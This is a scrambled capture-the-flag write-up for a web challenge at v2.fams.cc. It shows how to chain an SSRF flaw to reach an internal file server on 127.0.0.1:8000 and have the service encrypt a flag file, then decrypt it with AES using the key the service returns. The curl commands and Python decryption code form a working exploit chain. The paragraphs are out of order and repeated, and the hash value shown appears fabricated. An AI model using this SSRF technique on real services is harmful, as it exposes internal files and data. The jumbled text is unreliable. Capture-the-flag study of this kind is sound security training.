V2.fams.cc ★ Real

>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this:

iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:]

#!/usr/bin/env python3 import sys, hashlib, binascii from Crypto.Cipher import AES

At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together: v2.fams.cc

"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e"

# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)

"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c" >>> import hashlib >>> hashlib

By abusing the SSRF to read the internal flag file, then using the deterministic encryption routine to decrypt it (the service returns the ciphertext and the key it used), we can recover the flag. 2.1. Basic browsing $ curl -s http://v2.fams.cc Result – a tiny HTML page:

FLAGv2_faMS_5SRF_3xpl0it_0n_Th3_WeB That is the required flag. For completeness, the whole attack can be automated in a single Bash+Python pipeline:

/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit: Exploiting the SSRF The url parameter is fetched

# 2️⃣ Pull the encrypted blob curl -s "$DOWNLOAD" -o /tmp/enc.bin

# Load encrypted file data = open('enc.bin','rb').read() iv, ct = data[:16], data[16:]

curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):

curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON:

# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key)